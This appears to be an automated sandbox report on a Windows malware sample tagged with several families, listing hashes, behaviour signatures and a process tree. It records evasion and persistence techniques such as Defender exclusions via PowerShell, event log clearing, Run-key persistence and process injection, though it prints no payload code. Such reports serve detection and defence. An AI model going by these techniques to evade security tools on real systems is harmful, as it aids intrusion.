Analysis
- max time kernel
150s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
23/05/2026, 23:24
Static task
static1
Behavioral task
behavioral1
Sample
2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win11-20260513-en
General
- Target 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample260523-3dp45afs71
- SHA256 e827d48d4862ff034ee299d8b55afeab7ff85cc5aad5320ac1ad7daeba04a9fe
- MD5 d3af62ebf39112a0ad1c4e57dfeddfed
- SHA1 f9c2315c6ec8ad8cb4a4ee71c2235f9ba3099732
- SHA512 6f3565391de4eb663f0fad8f73c38c13db56dc7579735c57ca0d5a7eb75c6eb1a4d1328b771fad3d7232196634b36c1770bf093530c3c1974a3940708a59c86b
- SSDEEP 6144:vsO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GR5g3kZUdzS:nH7F6cf6T7Ow5JR
- TLSH T18E946D26EAE5007DF1A7F138CC664902E6B5BC4E07A196CF03D0D9A72F276D09A7D711
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v41.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v42.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 19 4632 cmd.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2532 powershell.exe 3212 powershell.exe 4424 powershell.exe 3380 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v42.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v41.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v43.exe - Possible privilege escalation attempt 3 IoCs
pid Process 324 takeown.exe 752 icacls.exe 2044 icacls.exe - Executes dropped EXE 5 IoCs
pid Process 4924 Win-v43.exe 4804 Win-v42.exe 4632 cmd.exe 4152 svchost.exe 4664 Win-v41.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 324 takeown.exe 752 icacls.exe 2044 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe" 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 api64.ipify.org 21 api64.ipify.org - Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4408 powercfg.exe 4832 powercfg.exe 1592 powercfg.exe 4732 powercfg.exe 4800 powercfg.exe 3044 powercfg.exe 5096 powercfg.exe - Drops file in System32 directory 5 IoCs
description ioc Process File created C:\Windows\System32\Win-v42.exe 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe File opened for modification C:\Windows\system32\Recovery ReAgentc.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1140 set thread context of 4632 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 127 PID 1140 set thread context of 4152 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 128 - Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File created C:\Windows\Win-v41.exe 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 432 cmd.exe 2192 PING.EXE - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4308 cmd.exe - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 2192 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2992 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 2532 powershell.exe 2532 powershell.exe 3212 powershell.exe 3212 powershell.exe 4424 powershell.exe 4424 powershell.exe 4924 Win-v43.exe 4924 Win-v43.exe 4804 Win-v42.exe 4804 Win-v42.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3380 powershell.exe 3380 powershell.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 3380 powershell.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 4664 Win-v41.exe 4664 Win-v41.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 644 winlogon.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 644 winlogon.exe 644 winlogon.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3172 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 53 IoCs
description pid Process Token: SeDebugPrivilege 2532 powershell.exe Token: SeDebugPrivilege 3212 powershell.exe Token: SeDebugPrivilege 4424 powershell.exe Token: SeTakeOwnershipPrivilege 324 takeown.exe Token: SeShutdownPrivilege 4832 powercfg.exe Token: SeCreatePagefilePrivilege 4832 powercfg.exe Token: SeShutdownPrivilege 1592 powercfg.exe Token: SeCreatePagefilePrivilege 1592 powercfg.exe Token: SeShutdownPrivilege 4732 powercfg.exe Token: SeCreatePagefilePrivilege 4732 powercfg.exe Token: SeShutdownPrivilege 4800 powercfg.exe Token: SeCreatePagefilePrivilege 4800 powercfg.exe Token: SeShutdownPrivilege 3044 powercfg.exe Token: SeCreatePagefilePrivilege 3044 powercfg.exe Token: SeShutdownPrivilege 5096 powercfg.exe Token: SeCreatePagefilePrivilege 5096 powercfg.exe Token: SeShutdownPrivilege 4408 powercfg.exe Token: SeCreatePagefilePrivilege 4408 powercfg.exe Token: SeShutdownPrivilege 4408 powercfg.exe Token: SeCreatePagefilePrivilege 4408 powercfg.exe Token: SeLockMemoryPrivilege 4632 cmd.exe Token: SeLockMemoryPrivilege 4632 cmd.exe Token: SeDebugPrivilege 3380 powershell.exe Token: SeDebugPrivilege 3380 powershell.exe Token: SeDebugPrivilege 644 winlogon.exe Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 904 dwm.exe Token: SeCreatePagefilePrivilege 904 dwm.exe Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE Token: SeShutdownPrivilege 3172 Explorer.EXE Token: SeCreatePagefilePrivilege 3172 Explorer.EXE - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4632 cmd.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1140 wrote to memory of 2532 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 81 PID 1140 wrote to memory of 3212 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 83 PID 1140 wrote to memory of 4424 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 85 PID 1140 wrote to memory of 2992 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 87 PID 1140 wrote to memory of 1784 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 89 PID 1784 wrote to memory of 4968 1784 cmd.exe 93 PID 1140 wrote to memory of 1012 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 98 PID 1012 wrote to memory of 324 1012 cmd.exe 103 PID 1140 wrote to memory of 232 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 104 PID 232 wrote to memory of 752 232 cmd.exe 106 PID 1140 wrote to memory of 2428 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 107 PID 2428 wrote to memory of 2044 2428 cmd.exe 109 PID 1140 wrote to memory of 4832 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 110 PID 1140 wrote to memory of 1592 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 112 PID 1140 wrote to memory of 4732 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 114 PID 1140 wrote to memory of 4800 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 116 PID 1140 wrote to memory of 3044 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 118 PID 1140 wrote to memory of 5096 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 120 PID 1140 wrote to memory of 4408 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 122 PID 1140 wrote to memory of 432 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 124 PID 432 wrote to memory of 2192 432 cmd.exe 126 PID 1140 wrote to memory of 4632 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 127 PID 1140 wrote to memory of 4152 1140 2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 128 PID 4308 wrote to memory of 3380 4308 cmd.exe 130 PID 3380 wrote to memory of 644 3380 powershell.exe 5 PID 644 wrote to memory of 696 644 winlogon.exe 7 PID 644 wrote to memory of 912 644 winlogon.exe 11 PID 644 wrote to memory of 400 644 winlogon.exe 13 PID 644 wrote to memory of 716 644 winlogon.exe 14 PID 644 wrote to memory of 4664 644 winlogon.exe 132 PID 644 wrote to memory of 904 644 winlogon.exe 15 PID 644 wrote to memory of 620 644 winlogon.exe 16 PID 644 wrote to memory of 1108 644 winlogon.exe 17 PID 644 wrote to memory of 1116 644 winlogon.exe 18 PID 644 wrote to memory of 1184 644 winlogon.exe 19 PID 644 wrote to memory of 1208 644 winlogon.exe 21 PID 644 wrote to memory of 1268 644 winlogon.exe 22 PID 644 wrote to memory of 1296 644 winlogon.exe 23 PID 644 wrote to memory of 1384 644 winlogon.exe 24 PID 644 wrote to memory of 1480 644 winlogon.exe 25 PID 644 wrote to memory of 1536 644 winlogon.exe 26 PID 644 wrote to memory of 1564 644 winlogon.exe 27 PID 644 wrote to memory of 1736 644 winlogon.exe 28 PID 644 wrote to memory of 1764 644 winlogon.exe 29 PID 644 wrote to memory of 1836 644 winlogon.exe 30 PID 644 wrote to memory of 1844 644 winlogon.exe 31 PID 644 wrote to memory of 1888 644 winlogon.exe 32 PID 644 wrote to memory of 1968 644 winlogon.exe 33 PID 644 wrote to memory of 1984 644 winlogon.exe 34 PID 644 wrote to memory of 1096 644 winlogon.exe 35 PID 644 wrote to memory of 1192 644 winlogon.exe 36 PID 644 wrote to memory of 2076 644 winlogon.exe 37 PID 644 wrote to memory of 2084 644 winlogon.exe 38 PID 644 wrote to memory of 2208 644 winlogon.exe 39 PID 644 wrote to memory of 2352 644 winlogon.exe 41 PID 644 wrote to memory of 2544 644 winlogon.exe 42 PID 644 wrote to memory of 2552 644 winlogon.exe 43 PID 644 wrote to memory of 2580 644 winlogon.exe 44 PID 644 wrote to memory of 2616 644 winlogon.exe 45 PID 644 wrote to memory of 2676 644 winlogon.exe 46 PID 644 wrote to memory of 2688 644 winlogon.exe 47 PID 644 wrote to memory of 2708 644 winlogon.exe 48 PID 644 wrote to memory of 2772 644 winlogon.exe 49 PID 644 wrote to memory of 2568 644 winlogon.exe 51 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:904
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C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4664
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:696
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-977552d3-7fa0-4ea2-a8dd-016861ba5218 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0654baaf-7d3b-4d63-83d4-1b0c94d1b524 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-15922acf-d865-408f-b8c4-634178ef2188 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c116b402-df24-4d49-a94f-2d1405b44fb7 -LifetimeId:78080528-0cc9-415d-b609-d6d887afc6e2 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1184
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1480
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1564
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1888
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1192
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2084
